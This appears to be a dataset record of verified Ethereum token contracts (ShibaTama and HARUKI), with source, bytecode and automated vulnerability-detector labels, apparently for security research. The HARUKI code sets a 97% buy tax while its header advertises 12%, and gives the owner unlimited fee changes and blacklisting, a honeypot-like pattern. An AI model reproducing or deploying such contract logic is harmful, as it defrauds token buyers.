function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
uint256 constant INITIAL_TAX=12;
uint256 constant TOTAL_SUPPLY=14000000000;
string constant TOKEN_SYMBOL="SHIBATAMA";
string constant TOKEN_NAME="ShibaTama";
uint8 constant DECIMALS=8;
uint256 constant TAX_THRESHOLD=1000000000000000000;
contract ShibaTama is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_balance[address(this)] = _tTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(50);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function removeBuyLimit() public onlyOwner{
_maxTxAmount=_tTotal;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function createUniswapPair() external onlyOwner {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function addLiquidity() external onlyOwner{
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
uint256 tTeam = tAmount.mul(taxRate).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
_balance[sender] = _balance[sender].sub(tAmount);
_balance[recipient] = _balance[recipient].add(tTransferAmount);
_balance[address(this)] = _balance[address(this)].add(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
receive() external payable {}
function swapForTax() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function collectTax() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
} | 0x6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb146102b8578063d49b55d6146102d8578063dd62ed3e146102ed578063e8078d941461033357600080fd5b806370a0823114610213578063715018a6146102495780638da5cb5b1461025e57806395d89b411461028657600080fd5b8063313ce567116100c6578063313ce567146101b65780633d8705ab146101d25780633e07ce5b146101e95780634a131672146101fe57600080fd5b806306fdde0314610103578063095ea7b31461014757806318160ddd1461017757806323b872dd1461019657600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b50604080518082019091526009815268536869626154616d6160b81b60208201525b60405161013e9190611115565b60405180910390f35b34801561015357600080fd5b5061016761016236600461117f565b610348565b604051901515815260200161013e565b34801561018357600080fd5b506005545b60405190815260200161013e565b3480156101a257600080fd5b506101676101b13660046111ab565b61035f565b3480156101c257600080fd5b506040516008815260200161013e565b3480156101de57600080fd5b506101e76103c8565b005b3480156101f557600080fd5b506101e76103ec565b34801561020a57600080fd5b506101e7610427565b34801561021f57600080fd5b5061018861022e3660046111ec565b6001600160a01b031660009081526002602052604090205490565b34801561025557600080fd5b506101e76106c1565b34801561026a57600080fd5b506000546040516001600160a01b03909116815260200161013e565b34801561029257600080fd5b50604080518082019091526009815268534849424154414d4160b81b6020820152610131565b3480156102c457600080fd5b506101676102d336600461117f565b610735565b3480156102e457600080fd5b506101e7610742565b3480156102f957600080fd5b50610188610308366004611209565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561033f57600080fd5b506101e7610772565b60006103553384846108d5565b5060015b92915050565b600061036c8484846109f9565b6103be84336103b9856040518060600160405280602881526020016113f2602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610cd1565b6108d5565b5060019392505050565b6007546001600160a01b031633146103df57600080fd5b476103e981610d0b565b50565b6000546001600160a01b0316331461041f5760405162461bcd60e51b815260040161041690611242565b60405180910390fd5b600554600855565b6000546001600160a01b031633146104515760405162461bcd60e51b815260040161041690611242565b600a54600160a01b900460ff16156104ab5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610416565b6009546005546104c89130916001600160a01b03909116906108d5565b600960009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561051b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061053f9190611277565b6001600160a01b031663c9c6539630600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c59190611277565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610612573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106369190611277565b600a80546001600160a01b0319166001600160a01b0392831690811790915560095460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af115801561069d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103e99190611294565b6000546001600160a01b031633146106eb5760405162461bcd60e51b815260040161041690611242565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103553384846109f9565b6007546001600160a01b0316331461075957600080fd5b306000908152600260205260409020546103e981610d49565b6000546001600160a01b0316331461079c5760405162461bcd60e51b815260040161041690611242565b6009546001600160a01b031663f305d71947306107ce816001600160a01b031660009081526002602052604090205490565b6000806107e36000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561084b573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061087091906112b6565b5050600a805462ff00ff60a01b19166201000160a01b17905550565b60006108ce83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610ec3565b9392505050565b6001600160a01b0383166109375760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610416565b6001600160a01b0382166109985760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610416565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a5d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610416565b6001600160a01b038216610abf5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610416565b60008111610b215760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610416565b6000546001600160a01b03848116911614801590610b4d57506000546001600160a01b03838116911614155b15610c7057600a546001600160a01b038481169116148015610b7d57506009546001600160a01b03838116911614155b8015610ba257506001600160a01b03821660009081526004602052604090205460ff16155b15610bf8576008548110610bf85760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610416565b30600090815260026020526040902054600a54600160a81b900460ff16158015610c305750600a546001600160a01b03858116911614155b8015610c455750600a54600160b01b900460ff165b15610c6e57610c5381610d49565b47670de0b6b3a76400008110610c6c57610c6c47610d0b565b505b505b6001600160a01b038216600090815260046020526040902054610ccc9084908490849060ff1680610cb957506001600160a01b03871660009081526004602052604090205460ff165b610cc557600654610ef1565b6000610ef1565b505050565b60008184841115610cf55760405162461bcd60e51b81526004016104169190611115565b506000610d0284866112fa565b95945050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610d45573d6000803e3d6000fd5b5050565b600a805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d9157610d91611311565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0e9190611277565b81600181518110610e2157610e21611311565b6001600160a01b039283166020918202929092010152600954610e4791309116846108d5565b60095460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e80908590600090869030904290600401611327565b600060405180830381600087803b158015610e9a57600080fd5b505af1158015610eae573d6000803e3d6000fd5b5050600a805460ff60a81b1916905550505050565b60008183610ee45760405162461bcd60e51b81526004016104169190611115565b506000610d028486611398565b6000610f086064610f028585610ff5565b9061088c565b90506000610f168483611074565b6001600160a01b038716600090815260026020526040902054909150610f3c9085611074565b6001600160a01b038088166000908152600260205260408082209390935590871681522054610f6b90826110b6565b6001600160a01b038616600090815260026020526040808220929092553081522054610f9790836110b6565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b60008261100457506000610359565b600061101083856113ba565b90508261101d8583611398565b146108ce5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610416565b60006108ce83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cd1565b6000806110c383856113d9565b9050838110156108ce5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610416565b600060208083528351808285015260005b8181101561114257858101830151858201604001528201611126565b81811115611154576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146103e957600080fd5b6000806040838503121561119257600080fd5b823561119d8161116a565b946020939093013593505050565b6000806000606084860312156111c057600080fd5b83356111cb8161116a565b925060208401356111db8161116a565b929592945050506040919091013590565b6000602082840312156111fe57600080fd5b81356108ce8161116a565b6000806040838503121561121c57600080fd5b82356112278161116a565b915060208301356112378161116a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561128957600080fd5b81516108ce8161116a565b6000602082840312156112a657600080fd5b815180151581146108ce57600080fd5b6000806000606084860312156112cb57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b60008282101561130c5761130c6112e4565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156113775784516001600160a01b031683529383019391830191600101611352565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826113b557634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156113d4576113d46112e4565b500290565b600082198211156113ec576113ec6112e4565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d812ba7b9e378dea0c5eb4a7bb2cc06c8c9563f3eea95b6195cbd509f89dc98b64736f6c634300080b0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 992 |
0x7B84Db4A1cD435E9766BacfE49ff7D0457e46836 | /**
*Submitted for verification at Etherscan.io on 2022-03-22
*/
/**
*/
/**
HARUKI
HARUKI ($HARUKI) is a blockchain protocol focused on rewarding nodes for supporting the infrastructure of their blockchain.
The protocol notes that its mission is to create a world "where the HARUKI Node Army supports dozens of protocols and millions of nodes.
Tokenomics
95% Added to Supply
5% Development and Team Wallet
2% Max wallet
12% Buy/Sell Tax
3% Node Development Fee
2% Liquidity Pool Fee
2% Economy Fee
4% Marketing Fee
1% Reflections
Telegram: https://t.me/HarukiERC
Twitter: https://twitter.com/
Website: https://HarukiERC.com
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract HARUKI is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "HARUKI";
string private constant _symbol = "HARUKI";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 97;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x8407C36901D8A858C1AEFFBfb9e3C1A90a3FC5c9);
address payable private _marketingAddress = payable(0x8407C36901D8A858C1AEFFBfb9e3C1A90a3FC5c9);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610521578063dd62ed3e14610541578063ea1644d514610587578063f2fde38b146105a757600080fd5b8063a2a957bb1461049c578063a9059cbb146104bc578063bfd79284146104dc578063c3c8cd801461050c57600080fd5b80638f70ccf7116100d15780638f70ccf7146104465780638f9a55c01461046657806395d89b41146101fe57806398a5c3151461047c57600080fd5b80637d1db4a5146103e55780637f2feddc146103fb5780638da5cb5b1461042857600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037b57806370a0823114610390578063715018a6146103b057806374010ece146103c557600080fd5b8063313ce567146102ff57806349bd5a5e1461031b5780636b9990531461033b5780636d8aa8f81461035b57600080fd5b80631694505e116101ab5780631694505e1461026c57806318160ddd146102a457806323b872dd146102c95780632fd689e3146102e957600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023c57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461192b565b6105c7565b005b34801561020a57600080fd5b506040805180820182526006815265484152554b4960d01b6020820152905161023391906119f0565b60405180910390f35b34801561024857600080fd5b5061025c610257366004611a45565b610666565b6040519015158152602001610233565b34801561027857600080fd5b5060145461028c906001600160a01b031681565b6040516001600160a01b039091168152602001610233565b3480156102b057600080fd5b50670de0b6b3a76400005b604051908152602001610233565b3480156102d557600080fd5b5061025c6102e4366004611a71565b61067d565b3480156102f557600080fd5b506102bb60185481565b34801561030b57600080fd5b5060405160098152602001610233565b34801561032757600080fd5b5060155461028c906001600160a01b031681565b34801561034757600080fd5b506101fc610356366004611ab2565b6106e6565b34801561036757600080fd5b506101fc610376366004611adf565b610731565b34801561038757600080fd5b506101fc610779565b34801561039c57600080fd5b506102bb6103ab366004611ab2565b6107c4565b3480156103bc57600080fd5b506101fc6107e65